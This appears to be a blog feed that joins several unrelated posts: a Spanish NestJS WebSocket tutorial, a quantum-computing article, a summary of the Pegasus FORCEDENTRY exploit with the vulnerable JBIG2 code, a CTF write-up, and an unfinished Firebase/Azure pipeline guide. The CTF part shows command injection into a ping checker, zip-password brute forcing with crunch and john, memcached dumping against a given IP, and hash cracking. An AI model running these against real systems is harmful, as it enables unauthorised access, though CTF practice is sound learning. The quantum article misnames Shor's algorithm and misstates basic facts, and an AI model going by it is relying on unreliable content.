El presente blog expone una forma de permitir la comunicación en tiempo real de dos clientes haciendo uso de sockets y un servidor como intermediario. La intención de este material, es brindar un esquema escalable para la realización de aplicaciones que requieran la interacción en tiempo real de clientes y además la administración de usuarios, trabajo colaborativo y demás por medio de la expansión de la complejidad del nodo servidor.

Para realizar la explicación, se implementará una aplicación que permitirá a dos jugadores enviarse lanzamientos con una intensidad arbitraria entre sí.

Demo

Componentes del sistema

El sistema está compuesto por los siguientes componentes:

• Servidor
• Cliente

Tecnologías empleadas

WebSocketGateway

Se utilizó esta tecnología para establecer un socket en el servidor a la espera de las conexiones de los clientes.

Instalación

npm i --save @nestjs/websockets @nestjs/platform-socket.io

Este comando instalará las siguientes dependencias de producción:

"dependencies": {
    "@nestjs/platform-socket.io": "^10.3.9",
    "@nestjs/websockets": "^10.3.9",
  }

Socket.io

Se utilizó esta tecnología para permitir a los clientes conectarse con el servidor.

Instalación

npm add socket.io-client

Este comando instalará la siguiente dependencia de producción:

"dependencies": {
    "socket.io-client": "^4.7.5"
  }

Servidor

El servidor cumplirá las siguientes funciones básicas:

• Permitir la conexión de clientes
• Permitir la interacción de clientes
• Logs de actividad de los usuarios

Para poder implementar las funcionalidades mencionadas anteriormente, se requiere definir un WebSocketGateway y un Servicio.

GameGateway

GameGateway es el WebSocketGateway empleado para permitir a los clientes conectarse con el servidor.

//./src/game/game.gateway.ts
import {
  WebSocketGateway,
  OnGatewayInit,
  OnGatewayConnection,
  OnGatewayDisconnect,
  SubscribeMessage,
  WebSocketServer,
  MessageBody,
  ConnectedSocket,
} from '@nestjs/websockets';

import { Logger } from '@nestjs/common';
import { Server, Socket } from 'socket.io';
import { GameService } from './game.service';
import { ShotDTO } from './dtos/shot.dto';

@WebSocketGateway()
export class GameGateway
  implements OnGatewayInit, OnGatewayConnection, OnGatewayDisconnect
{
  @WebSocketServer() server: Server;
  private logger: Logger = new Logger(
    '@WebSocketServer() server: Server;GameGateway',
  );

  constructor(private readonly gameService: GameService){}

  afterInit(server: Server) {
      this.logger.log('Gateway Initialized');
  }

  handleConnection(client: Socket, ...args: any[]) {
      this.logger.log(`Client connected: ${client.id}`);
      this.gameService.addPlayer(client);
  }

  handleDisconnect(client:Socket) {
      this.logger.log(`Client disconnected: ${client.id}`);
      this.gameService.removePlayer(client);
  }

  @SubscribeMessage('shot')
  handleShot(@MessageBody() data: ShotDTO, @ConnectedSocket() client: Socket):void{
    const { intensity } = data;
    this.logger.log(`Shot by ${client.id} with shot intensity: ${intensity}`);
    this.gameService.shot(client, intensity);
  }

}

Puntos importantes:

• Se hace uso de un Logger para realizar registros de las conexiones de los clientes y también de los lanzamientos.
• Los sockets cliente son almacenados haciendo uso del método addPlayer(socket:Socket)del servicio.

GameService

GameService es el servicio que se encarga de toda la lógica referente al juego como ser: registro de jugadores y lanzamientos.

//./src/game/game.service.ts
import { Injectable, Logger } from '@nestjs/common';
import { Scope } from 'eslint';
import { Socket } from 'socket.io';

export class GameService {
  private players: Map<string, Socket> = new Map();
  private logger: Logger = new Logger('GameService');

  addPlayer(client: Socket): void {
    this.players.set(client.id, client);
    this.logger.log(`Player added: ${client.id}`);
  }

  removePlayer(client: Socket): void {
    this.players.delete(client.id);
    this.logger.log(`Player removed: ${client.id}`);
  }

  shot(client: Socket, shotIntensity: number): void {
    this.getShot(client, shotIntensity);
  }

  getShot(client: Socket, shotIntensity: number): void{
    const opponent:Socket = this.getOpponent(client.id);
    if(opponent){
      this.logger.log('The one getting the shot is:', opponent.id);
      opponent.emit('get_shot', { intensity: shotIntensity });
    }else{
      client.emit('error', 'No opponent connected to get shot');
    }
  }

  getOpponent(clientId: string): Socket | undefined {
    for (const [id, player] of this.players.entries()) {
      if (id != clientId) {
        return player;
      }
    }

    return undefined;
  }
}

Puntos importantes

• Se hace uso de un mapa de string a Socket para poder encontrar a un cliente dado su socket.id
• Siempre que se desea encontrar el oponente de un socket dado, se realiza la busqueda en el mapa
• Se realizan registros de los lanzamientos realizados por los jugadores

Cliente

El cliente consiste en una API REST sencilla que permite generar conexiones al servidor haciendo uso de endpoints POST

El cliente podrá realizar las siguientes tareas:

• Conectarse con el servidor
• Enviar lanzamientos a su contrincante por medio del servidor

Para poder llevar a cabo las tareas mencionadas anteriormente, se requiere de un controlador y un servicio que haga uso de sockets para interactuar con el servidor.

PlayerController

//./src/player/player.controller.ts
import { Controller, Post, Body } from '@nestjs/common';

import { PlayerService } from './player.service';
import { HostAddrDTO } from './dto/player_addr.dto';
import { ShotDTO } from './dto/shot.dto';

@Controller('player')
export class PlayerController {

    constructor(private readonly playerService:PlayerService){}
    
    @Post('connection')
    playerConnection(@Body() hostAdd:HostAddrDTO){
        const { hostAddr } = hostAdd;
        //console.log("HostAddrDTO recibido: ", hostAdd);
        this.playerService.connectToServer(hostAddr);
    }

    @Post('shot')
    playerShot(@Body() shot:ShotDTO){
        const { intensity } = shot;
        this.playerService.sendShot(intensity);
    }
}

Puntos importantes

• Se hace uso de un endpoint POST que requiere de la dirección del servidor para conectarse con él.
• Se hace uso de un endpoint POST que requiere de la información del lanzamiento para realizar un envío al contrincante.

PlayerService

//./src/player/player.service.ts
import { Injectable, OnModuleInit } from '@nestjs/common';
import { Socket, io } from 'socket.io-client';

@Injectable()
export class PlayerService {
  private socket: Socket;

  connectToServer(server: string) {

    if(this.isSocketConnected()){
      console.log('The socket is already connected');
      console.log(this.socket);
    }

    console.log(`Trying to connect to: ${server}`);
    this.socket = io(server);

    this.socket.on('connect', () => {
      console.log('Connected to server');
    });

    this.socket.on('disconnect', () => {
      console.log('Disconnected from server');
    });

    this.socket.on('connect_error', (error: any) => {
      console.log('Connection error:', error.message);
    });

    this.socket.on('error', (error:any) =>{
      console.log('Socket error:', error.message);
    });

    this.socket.on('get_shot', (data: any) => {
      console.log(`Received shot with intensity: ${data.intensity}`);
    })
  }

  isSocketConnected():boolean{
    return this.socket && this.socket.connected;
  }

  sendShot(intensity:number) {
    this.socket.emit('shot', { "intensity": intensity });
  }

}

Puntos importantes

• Se implementa la lógica de conexión y envío de lanzamientos.

Parametrización del puerto del cliente

A fin de dinamizar la inicialización del cliente, se implementó la parametrización del puerto en el cual escucha el cliente para poder adaptar el servicio en contextos en los que los puertos por defecto se encuentren en uso.

La parametrización se llevó a cabo por medio de variables de entorno cuyo valor se recupera al momento de iniciar el cliente como se muestra a continuación:

//./src/main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { ConfigService } from '@nestjs/config';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  const configService = app.get(ConfigService);
  const port = configService.get<number>('PORT') || 3000;
  await app.listen(port);
  console.log(`Application is running on: ${await app.getUrl()}`);
}
bootstrap();

Conclusión

De esta manera, finaliza la presentación del esquema base para la interacción en tiempo real de clientes a través de un servidor utilizando Sockets en NestJS. Cabe destacar que el proyecto desarrollado es altamente escalable, lo que permite aumentar la complejidad del nodo intermedio y crear aplicaciones colaborativas como chats de texto y audio, videojuegos, y otras soluciones innovadoras con un alto potencial de impacto en el mercado actual.

Agradezco su atención y espero que este material les sea de gran utilidad.

Repositorios

A continuación se adjuntan los repositorios tanto del servidor como del cliente:

Repositorio Servidor

https://github.com/GyroElSurfista/TenisAppServer

Repositorio Cliente

https://github.com/GyroElSurfista/TenisAppClient

Todas las computadoras usadas hoy en día obedecen un mismo sistema creado ya hace más de 50 años por el famoso matemático Alan Turing, siguiendo este punto de vista, las máquinas desde ese entonces han seguido los principios analíticos de Charles Babbage que por más anticuados que sean funcionan, y funcionan muy bien.

El problema del antiguo modelo

Si bien el modelo actual funciona bien, ha existido un problema adyacente desde hace casi 40 años, y es la limitación que esto conlleva, teniendo así solo una cierta capacidad de resolución de problemas que llamamos de dificultad P.
Si bien no suena muy complicado, este no es el único problema que se presenta ni el más preocupante, estableciendo así la famosa Ley de Moore la cual establece que “el número de transistores por unidad de superficie en circuitos integrado se duplicará cada dos años”, lo cual nos lleva a tener un límite en cuanto a la cantidad de microprocesadores se refiere, aparte del hecho de que el capital invertido se cuadruplica cada dos años presentando así la segunda ley de Moore en el cual se nos indica.

Esto ha llevado a la búsqueda de un nuevo paradigma tecnológico, tomado así como uno de las principales corrientes a la computación cuántica basada en la física que lleva el mismo nombre, buscando así la solución de las limitaciones presentadas en una de las ciencias puras con más antigüedad del mundo

Bits cuánticos y computación cuántica discreta

Un bit es conocido como la unidad fundamental de la computación clásica actual teniendo como estado 1 o 0, sin embargo, un bit cuántico (llamado también como qubit) puede adoptar ambos estados a la vez, de esta manera los bits cuánticos abran procesado cuatro estados en vez de uno a la vez. Este tipo de procesamientos están desarrollados sobre estructuras algebraicas y analíticas basadas en sistemas discretos similares a los sistemas físicos de partículas elementales.

Si tomamos como ejemplo un sistema en mecánica cuántica, este tiene acceso a un número discreto de estados los cuales pueden ser infinitos y preparados experimentalmente en uno de esos estados o en una superposición de dos o más de entre ellos. Esto es conocido como el elemento fundamental de la computadora cuántica planteado por Deutsch. Por ejemplo, si tenemos un registro físico de 8 bits, la computadora solo puede almacenar uno de los 256 números formados, en cambio, en una computadora cuántica se puede almacenar y operar 256 números al mismo tiempo, lo cual reduce el tiempo de respuesta de la computadora.

Visto de otro modo la física clásica con datos representados por vectores de dos dimensiones forma un campo vectorial de 2n dimensiones, en cambio en física cuántica el campo vectorial es representado por 2 ^ n dimensiones.
Sin embargo, a pesar de todas las supuestas ventajas que se muestra estos procesos en una computadora clásica no son más que perdida de tiempo, y es la razón por la cual algoritmos como los de Schort no son utilizados comúnmente ya que requiere de mucho tiempo de ejecución y compilación que en una computadora cuántica no se requeriría.

Computación cuántica continua

Según lo mencionado anteriormente, el bit es la unidad fundamental discreta de información, entonces pasamos al “nat” el cual es la unidad fundamental de información continua, la cual obedece como regla:

De esta manera llegamos al término qunat, y al referirnos a computación cuántica sobre variables continuas podríamos pensar en la capacidad de hacer operaciones sobre qunats.

Algoritmo de Schort

Las ventajas del paralelismo cuántico son numerables, sin embargo, uno de los más representativos y puesto en prueba es el algoritmo de Schort que con un ejemplo simple pone a prueba el poderío de una maquina cuántica.

La factorización es algo simple pero si nos ponemos en frente un digito de 60 cifras ¿Cuánto tiempo tomara una computadora clásica en calcular sus factores?, si simplemente es dividir factores primos que multiplicados entre si resulten en el numero dado, el tiempo estimado de cálculo sobre pasa el tiempo de vida de una persona, es así que el algoritmo de Schort explota el paralelismo cuántico, empleando así un algoritmo basado en teoría de números “convierte la factorización en la evaluación del período de una sucesión larga (el período r de la sucesión 1 5 13 0 2 1 5 13 0 2 1 5 13 0 2..., por ejemplo, es 5). Supongamos que se desea factorizar el número N = 14. Para empezar, se toma al azar un número a más pequeño que N, por ejemplo 5.

Se define entonces la función f(n) = 5 n mod l4. El resultado de teoría de números mencionado dice que / es periódica y que su período está relacionado con los factores de 14. Se puede verificar fácilmente que la sucesión determinada por f al ser evaluada en n = 0,1,2, 3,... es 1,5,11,13,9,3,1,5,11,... Se observa que el período de esta sucesión es r = 6. Luego, para encontrar los factores de N sólo se requiere encontrar el máximo común divisor de N y ar/2 + 1 (o de N y ar/2 — 1). Así, el máximo común divisor de 14 y de 56/2 +1 = 126 es 7. En el presente caso, la división de 14 por 7 da directamente el otro factor, 2. (El factor 2 es el máximo común divisor de 14 y 56/2 — 1 = 124.)”

Primer ordenador cuántico

El 8 de enero del presente año IBM ha presentado el primer ordenador cuántico comercial, denominado “IBM Q System One”, lo que significa que cualquiera con el espacio y dinero puede hacerlo, ya que este ordenador requiere de un sistema de refrigeración continuo y una constante mano de obra especializada. Sin embargo se espera que arruine menos partes costosas que la IBM 701.

NSO Group es una empresa de tecnología israelí cuyo spyware mas conocido y destacado es Pegasus, que permite la vigilancia remota de Smart phones. Es muy difícil encontrar los exploits de Pegasus, pero gracias a una activista saudí, Citizen Lab (laboratorio de investigación y desarrollo en la intersección del ciberespacio, la seguridad global y los derechos humanos) pudo recuperar exploits zero-click iMessage desde un iPhone.

¿Qué es un zero-click exploit?

En un escenario de zero-click no es necesario ninguna interacción, lo que significa que el atacante no necesita hacer ataques de phishing, el malware se podrá instalar en el dispositivo sin que la víctima haga clic en ningún enlace y el exploit trabajara silenciosamente, a no ser que no uses un dispositivo no hay forma de evitar un zero-click exploit.

¿Cómo se pudo crear este exploit?

iMessage, el servicio de mensajería instantánea desarrollado por Apple, permite a sus usuarios enviar gifs, las imágenes animadas típicamente pequeñas y de baja calidad populares en la cultura meme, Apple quería hacer que esos GIF se reprodujeran sin cesar en lugar de reproducirlos solo una vez, por lo que después de recibir un mensaje pero mucho antes de que se muestre, iMessage llama al siguiente método en el proceso IMTranscoderAgent (fuera de la sandbox "BlastDoor"), pasando cualquier archivo de imagen recibido con la extensión .gif. Pegasus utiliza "fake gif", un pdf disfrazado de gif para atacar una vulnerabilidad en el CoreGraphics PDF parser. Es cierto que se puede ejecutar código JavaScript en archivos pdf pero no en CoreGraphics PDF parser, a pesar de eso, Pegasus encontró una forma.

JBIG2
Es un estándar de compresión de imágenes lanzado en los años 2000. Al usar scan to pdf se producen unos archivos muy pequeños llegando a pesar unos cuantos kilobytes.

The vulnerability

La vulnerabilidad es un clásico integer overflow al comparar y examinar segmentos referenciados en el formato JBIG2

  Guint numSyms; // (1)
  numSyms = 0;
  for (i = 0; i < nRefSegs; ++i) {
    if ((seg = findSegment(refSegs[i]))) {
      if (seg->getType() == jbig2SegSymbolDict) {
        numSyms += ((JBIG2SymbolDict *)seg)->getSize();  // (2)
      } else if (seg->getType() == jbig2SegCodeTable) {
        codeTables->append(seg);
      }
    } else {
      error(errSyntaxError, getPos(),
            "Invalid segment reference in JBIG2 text region");
      delete codeTables;
      return;
    }
  }
...
  // get the symbol bitmaps
  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)
  kk = 0;
  for (i = 0; i < nRefSegs; ++i) {
    if ((seg = findSegment(refSegs[i]))) {
      if (seg->getType() == jbig2SegSymbolDict) {
        symbolDict = (JBIG2SymbolDict *)seg;
        for (k = 0; k < symbolDict->getSize(); ++k) {
          syms[kk++] = symbolDict->getBitmap(k); // (4)
        }
      }
    }
  }

numSyms es un entero de 32 bits declarado en (1). Al proporcionar segmentos de referencia cuidadosamente elaborados es posible que la adición repetida en (2) provoque que numSyms se desborde a un valor pequeño y controlado.

Ese valor más pequeño se usa para el tamaño de asignación de almacenamiento dinámico en (3), lo que significa que syms apunta a un búfer de tamaño insuficiente.

Dentro del bucle más interno en (4), los valores del puntero JBIG2Bitmap se escriben en el búfer de sims de tamaño inferior.

El PDF está construido para explotar esta vulnerabilidad en el formato JBIG2 para preparar la memoria y tomar el control de la ejecución y al ser construido cuidadosamente se puede aplicar AND, OR, XOR y XNOR entre regiones de memoria, con estos operadores lógicos se puede calcular cualquier función computable.

JBIG2 no puede ejecutar comandos, pero cuando lo combinamos con esta vulnerabilidad, tiene la capacidad de emular circuitos de puertas lógicas que operan en la memoria. Entonces ¿por qué no construir tu propia arquitectura de computadora y usar eso? Bueno, eso es exactamente lo que hace, utilizando 70000 segmentos de comandos con operadores lógicos crea una pequeña computadora para ejecutar código (escrito específicamente para dicha máquina) que prepara el contexto para la ejecución del payload el cual es el que orquesta el escape del sandbox que se encuentra presente en iMessage, para luego descargar y ejecutar un binario obtenido del servidor de C&C (Command & Control).

‌‌¿Sorprendente y aterrador no?

Lo bueno es que fue arreglado, lo malo es que encontraran otra manera.

A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution

Posted by Ian Beer & Samuel Groß of Google Project Zero We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit w...

Ryan

Hola de nuevo, este CTF se llevó a cabo en el Congreso Internacional De Seguridad Informática (CIDSI) y organizado por la Agencia de Gobierno Electrónico y Tecnologías de Información y Comunicación (AGETIC) en diciembre del 2021, en esta ocasión la participación fue individual, y como miembros de SCESI y representando a la UMSS obtuvimos buenos puestos en la tabla de puntaje final, Gary que en su primer CTF quedó 6to,  Israel obtuvo el 3er lugar y mi persona logró el 2do lugar en la competencia.

Navidad en el código

Puntos: 105

El desarrollador junior llamó desde su nuevo trabajo y nos comenta que nos dejó un mensaje de fin de año, revisamos los servidores donde tenía acceso y encontramos una página web con un árbol de navidad. Pero no pudimos encontrar el mensaje, ¿nos ayudas?

Ingresando al link que nos proporciona el reto podemos visualizar una página web la cual contiene la imagen de un árbol de navidad, si inspeccionamos el código fuente podemos ver un script en javascript llamado navidad.js.

Si vemos el contenido del script encontraremos una función llamada getFlag() con el siguiente mensaje cifrado:

MZWGCZ33IVWCAY3PMRUWO3ZANVQXGIDENFTGSY3JNQQGIZJAMNXXE4TFM5UXEIDFOMQGC4LVMVWCAZDFNQQHC5LFEBYGSZLOONQXGIDROVSSAZLTEBUW24DPONUWE3DFEBYXKZJAMFWGO3ZAMVZXIYJANVQWYLT5

Podemos utilizar una herramienta online como cyberchef, al parecer está cifrada en Base32, una vez descifrado obtenemos la flag:

flag{El código más difícil de corregir es aquel del que piensas que es imposible que algo está mal.}

Crackeando evidencias

Puntos: 115

Encuentra la contraseña del PDF y la flag será tuya.

Para el siguiente reto se no proporciona un archivo zip, si vemos el contenido encontramos dos archivos, un PDF que está protegido con contraseña y una imagen que será nuestra pista.

Si analizamos los metadatos de la imagen pista.jpg en la sección de descripción podemos ver una cadena que parece estar cifrada.

Luego de descifrar el mensaje es con base64 y luego HEX, de esta forma obtenemos un mensaje: La fe sin acciones en inservible.

Si usamos el mensaje como contraseña para el PDF protegido podemos ver el contenido y obtener finalmente la flag del reto CTF{5998516ca8709c7bdc0d12fa01af89c6}.

Desarrollador Senior

Puntos: 210

El desarrollador web senior de 58 años, se niega a aprender a usar nuevas herramientas y tecnologías, además de aplicar buenas prácticas en la gestión de contraseñas.
Al final renunció y se fue de viaje, dejó entre sus informes un texto que se suponía era la contraseña de acceso al datacenter, pero no funciona... en la última comunicación con él, lo único que se pudo escuchar fue base ...
Confiamos en tus habilidades para obtener la contraseña real.
REY1cmliRXMzOVZHZU0zUTdVVWhYZUVmTWRlNW44Z0c2WHZGUEY2dVBlZlFxTDlkVWRmeEN3OTZkZGt0eE5LbmVZTDkxSHdkamRWZFZ2

Para el siguiente reto tenemos el siguiente mensaje cifrado:

REY1cmliRXMzOVZHZU0zUTdVVWhYZUVmTWRlNW44Z0c2WHZGUEY2dVBlZlFxTDlkVWRmeEN3OTZkZGt0eE5LbmVZTDkxSHdkamRWZFZ2

Podemos hacer uso de cyberchef para ir probando diferentes tipos de cifrado, según la descripción del reto el último mensaje que se pudo escuchar decía "Base" , entonces podemos probar combinación de estos cifrados y usando Base64 y luego Base58 obtenemos la flag del reto flag{Te pienso más que las páginas indexadas por google.}.

Non nobis domine, non nobis, sed Nomini tuo da Gloriam!

Puntos: 280

Tu compañero de trabajo te envió un archivo protegido con contraseña, pero se le olvidó la clave, sin embargo él sabe que la clave comprende de 7 a 8 dígitos ya que nunca utiliza letras.

Para este reto tenemos un archivo comprimido protegido con contraseña, según la descripción la clave contiene de 7 a 8 dígitos, entonces podemos crearnos un diccionario con la herramienta crunch, especificamos que la clave contenga los números del 0 al 9 y que el tamaño de los números generados sean mínimo de 7 y máximo de 8 dígitos, entonces con el comando crunch 7 8 0123456789 -o numbers.txt y tenemos listo nuestro diccionario.

Lo siguiente es generar un hash a partir del archivo comprimido para poder realizar el ataque de fuerza bruta, podemos hacer eso con zip2john y guardar el hash en un archivo, entonces ejecutamos zip2john ctf.zip > hash, tenemos el hash listo.

Por último podemos usar john para realizar el ataque de fuerza bruta, con el comando sudo john --wordlist=numbers.txt hash.txt.

Genial, ya tenemos la contraseña del zip 5847123,  ya podemos ver la imagen que es la siguiente.

En la imagen observamos símbolos extraños, algo que podemos hacer es buscar algo relacionado al título del reto, al parecer es latín y está relacionado a los caballeros templarios, si buscamos algún alfabeto o cifrado templario encontramos lo siguiente.

Si usamos el alfabeto obtenemos el mensaje vamossigueadekante, aquí tuve el problema de mandar el mensaje como flag final y no ser correcto, por lo que pensé que faltaba algo, intenté traducirlo a latín y perdí tiempo e intentos, al final la solución consistía en adaptar el mensaje a nuestro alfabeto, la flag final es vamossigueadelante.

Un amor entre deshechos químicos

Puntos: 405

Tu crush te envió un correo desde Chernóbil!!!!! Hermosa postal ¿no?

Si analizamos el contenido del pdf primero vemos algunas pistas en el párrafo inicial, se nos habla de elementos químicos, y al parecer el número 119 es muy importante, además en la parte inferior de la imagen tenemos un mensaje cifrado.

Si vemos los números atómicos de los elementos químicos podemos notar que no existe ningún elemento con número atómico 119, por lo cual podemos suponer que serán los espacios en el mensaje cifrado.

22921196344633411992104711956631010553653810

Si cambiamos 119 por espacios tenemos como resultado:

2292 63446334 921047 56631010553653810

Podemos usar una tabla de elementos atómicos para intercambiar los valores que representan los números atómicos con la nomenclatura de los elementos químicos.

Si hacemos el cambio con pesos químicos de dos dígitos tenemos como resultado algo así: TiU EuRuEuSe UNeAg  BaEuNeNeCsKrIONe.

Es un mensaje que no nos dice nada... pero si prestamos atención solamente a las iniciales de los elementos químicos se va formando un mensaje en las primeras dos palabras y tendríamos Tu eres una, el problema es la tercera palabra, pero luego de realizar otros cambios, algunos tomando números atómicos de 3 dígitos finalmente obtenemos el mensaje final TiU EuRuEuSe UNeAg  BaEuNeDbICIONe, y tomando solo las iniciales obtenemos la flag tu eres una bendicion.

Pandas

Puntos: 250

Quería enviar este archivo a mi jefe pero no quería que nadie más viera lo que hay dentro, así que lo protegí con un PIN y para no olvidarme use el mismo número que mi celular.

Para este reto tenemos el archivo pandas.zip, el cual está protegido con contraseña, según la descripción del reto la contraseña es un numero de celular, por lo tanto podemos crear un diccionario de números de celular para realizar fuerza bruta y obtener la contraseña.

Creamos el diccionario especificando que serán combinaciones numéricas de 8 cifras de la siguiente manera: crunch 8 8 0123456789 -o celnum.txt.

Luego podemos usar zip2john para conseguir el hash de las imágenes de la siguiente forma: zip2john pandas.zip > hash.

Y finalmente para conseguir la contraseña ejecutamos john --wordlist=celnum.txt hash.

Continuando con el reto nos encontramos con 2 imágenes, que tienen distinto peso, a simple vista parecen imágenes simulares, así que intenté sobreponer una imagen sobre otra y aplicar algunos filtros pero nada interesante, también revisé metadatos pero tampoco encontré nada, finalmente para conseguir la flag se necesitaba comparar las imágenes con strings de la siguiente manera strings -n 10 panda.jpg panda2.jpg.

De esta manera encontramos la flag del reto Exelente_tr4baj0_p4d4w4n.

Cacheando al mundo

Puntos: 301

Explotación de un servicio de memcached mal configurado. Host: 45.63.83.218

Si leemos la descripción del reto nos dan información muy valiosa y que nos ahorra tiempo, debemos explotar el servicio memcached, primero realizamos la enumeración de puertos para detectar en que puerto está corriendo el servicio, para esto utilizare una herramienta de escaneo rápido de puertos threader3000.

Tenemos un puerto abierto, siguiendo los pasos de explotación manual que encontré en esta página , con memcdump podemos listar los ítems y obtenemos dos ítems, hash y salt, luego con memccat podemos ver el contenido de ambos ítems, obteniendo CIDSI_la_rompe y c86F5096D95DCC01D49BCB6819F5C64B.

Para romper el hash usaremos hashcat de la siguiente forma hashcat -m 10 "C86F5096D95DCC01D49BCB6819F5C64B:CIDSI_la_rompe" -a 0 /usr/share/wordlists/rockyou.txt y obtenemos el mensaje TINKER12 de esta forma completamos el reto.

Developer enojado

Puntos: 450

El flag está escondido en el código fuente de la aplicacion móvil. https://cidsi2021-ctf-web0050.chals.io/

Si ingresamos al link que nos proporciona el reto nos encontramos con un ping checker.

Podemos intentar realizar command injection, para ello podemos probar algunos caracteres que en Linux se usan para concatenar comandos como:

• |
• ||
• &
• ;

En este caso podemos concatenar comando con el carácter &, así que escribiendo una IP que para la prueba puse 8.8.8.8 y luego añadiendo &ls se obtiene lo siguiente:

Se puede listar los archivos del servidor, de esta forma podemos descargar la aplicación móvil flutter.apk.zip, la cual está protegida con contraseña, si vemos la lista de archivos hay uno llamado Escucha-con-tus-ojos.wav, el nombre del archivo ya nos da una pista de lo que podemos hacer, ver los espectrogramas con la siguiente páginaf y obtener un mensaje que puede ser la contraseña que buscamos.

Usamos la contraseña HAKUNAMATATAS, y tenemos lista la aplicación, intenté instalarla en mi celular pero al parecer estaba dañada.

Para analizar los archivos y el código de la aplicación ejecuto apktool d flutter.apk.

Realizando búsquedas con grep con parámetros como flag o flag{ encuentro varias coincidencias pero que no nos sirven, así que tal ves la flag este en una variable por lo tanto ejecuto grep -r "flag=" --color --text,uso el parámetro --color para que marque en rojo las coincidencias y el parámetro --text para que nos muestre en texto plano las coincidencias que encuentre en los binarios.

De esta forma encontramos la flag del reto B0liv1a_va_al_mund1al_2022.

Con esto termina el Write-Up, en esta ocasión el CTF contó con retos muy interesantes, al final me faltaron resolver varios retos, termine con una puntuación de 2116, a un reto para alcanzar al primer lugar,Israel quedó con 1836 puntos y Gary con 1085 puntos, aquí pueden ver la tabla de puntos finales. Cualquier pregunta o reclamo lo pueden hacer en la sección de comentarios y hasta la próxima.

Regards and Happy Hacking!!!

Whenever we are developing apps we need to distribute them somehow, at least while working with QA teams it is needed to constantly send them builds.
Instead of generating APK's or AAB's, and uploading them to distribution center like firebase or appcenter, we can directly automate this process using pipelines.

In order to achieve this we are going to:

• Set up a firebase project and basic android project for distribution
• Build your android project
• Experiment with firebase CLI (optional)
• Create a pipeline
• Use AppTester

Create an android Project

Create an android project or use an existing one.
Modifications to gradle files will be done in the "Create a firebase project" setup steps 7-9

Create a firebase project

Creating a firebase project is very straightforward, it only needs a couple of steps

Step 1

You need to create an account at firebase console

Step 2

Step 3

Step 4

Step 5

Project is ready to use, you can click on continue or go to console main page

Step 6

In this step you are going to create an android project
Click on the android logo pointed by the red rectangle

Step 7

It is necessary the package name, you need to go to your build.gradle file in your project and look for that.

Optionally you can add an app nickname (you probably should), and a certificate

Step 8

You need to download the json file , just follow the instructions in the image

Step 9

You need to add the dependencies in the gradle file

This is how it looks in my current project :

In case you want to copy paste

buildscript {
    repositories {
        google()
        mavenCentral()
    }
    dependencies {
        classpath "com.android.tools.build:gradle:7.0.3"
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.5.31"
        classpath 'com.google.gms:google-services:4.3.10'
    }
}


task clean(type: Delete) {
    delete rootProject.buildDir
}

Additionally you have to modify the app-level build.gradle file

plugins {
    id 'com.android.application'
    id 'kotlin-android'
    id 'com.google.gms.google-services'
}

android {
    compileSdk 31

    defaultConfig {
        applicationId "com.example.azuredevopsfirebasecd"
        minSdk 21
        targetSdk 31
        versionCode 1
        versionName "1.0"

        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
    }

    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
        }
    }
    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }
    kotlinOptions {
        jvmTarget = '1.8'
    }
}

dependencies {

    implementation 'androidx.core:core-ktx:1.7.0'
    implementation 'androidx.appcompat:appcompat:1.4.0'
    implementation 'com.google.android.material:material:1.4.0'
    implementation 'androidx.constraintlayout:constraintlayout:2.1.2'
    testImplementation 'junit:junit:4.+'
    androidTestImplementation 'androidx.test.ext:junit:1.1.3'
    androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
    implementation platform('com.google.firebase:firebase-bom:29.0.3')
    implementation 'com.google.firebase:firebase-analytics-ktx'
}

Step 10

After all the modifications, you are ready

As you can see the app is already displayed in the console.
Notice that app nickname is displayed

Build your android project

Basically you only need the apk or aab file, so if you already have one of these, you can skip to the next section

For generating a build just go to

Build > Build Bundle(s)/ APK(s) > Build APk(s) or Bundle

Once the build is finished you need to locate it, there will be a notification in the lower right corner, you can click the locate button and it will open the explorer with apk location. In case there is not any notification you can click the Event Log, locate at the same position, to check what happened to the build

Set up the azure pipeline

Lets work first with firebase cli

Depending on the OS you are using you can have several ways to install the CLI, but we are going to use npm.
Go to firebase  docs, and follow the instructions

npm install -g firebase-tools

Once you are done with the install process you can check it by asking the version

firebase --version
9.16.5

Note: It is recommended to use this version or superior.
If everything is correct the version will be printed, otherwise you might want to check again the docs for help

Step 1: Login

Basically there are two ways one can login to firebase
First is running:

firebase login 

It will ask you for permission to collect some reporting information, you can say Yes or No , after that a new tab will be opened in your browser in order to login to your google account.
When you login correctly the next message will be displayed

Go back to your terminal and now you are logged , you can check that by typing

firebase login:list

It will show your logged email account

The second way to login is by using a token, you are going to use this way for the pipeline, why ?  because it is a non-interactive login , in the first way , the login process requires a user to login manually by going into the browser.

Before doing anything logout from firebase cli

firebase logout

So now you are going to introduce this command

firebase login:ci

Even though this command will still ask you to go to your browser and login to your google account , this will give you a token

This token you can use it in any machine, you no longer will need to login , you can directly use this token in every firebase operation you do , so save this token carefully

All right, since you build an apk in the previous section you are going to use it now:

firebase appdistribution:distribute app-debug.apk --token TOKEN --app 1:329560641701:android:bbf839ba9b082200db7d4c  --release-notes "Upload with token"

• appdistribution:distribute  
  This is for the type of operation you are going to do.
• --token
  This is where you are going to introduce your token
• --app
  This is the id of the app that we got in the Create a firebase project section last step
• --release-notes
  Additionally you can add some release notes

There are many other parameters that you can use , but these ones are enough at the moment, in another post we are going to explore in deep the firebase cli  

And you will get this output after last command

You can go to your firebase project and check it, in Release & Monitor > App Distribution

You are ready for the next section, so why did we do all this stuff manually if we are going to automate via the pipeline?  
Because sometimes you have misconfigured the pipeline, and you can waste a lot of time trying to figure out what is wrong. This happened to me once with appcenter :(

Create a pipeline

Step 1: Upload your project to azure devops

I'm not going to show how to upload your project , if you have any problems please check the docs

Step 2: Set Variables for pipelines

You can go to Pipelines > Library > + Variable Group, and add your variables.

Step 3: Create pipeline

Go to Pipelines > Pipelines > Create Pipeline

Check Azure Repos Git

Select your repository

Select the option Android

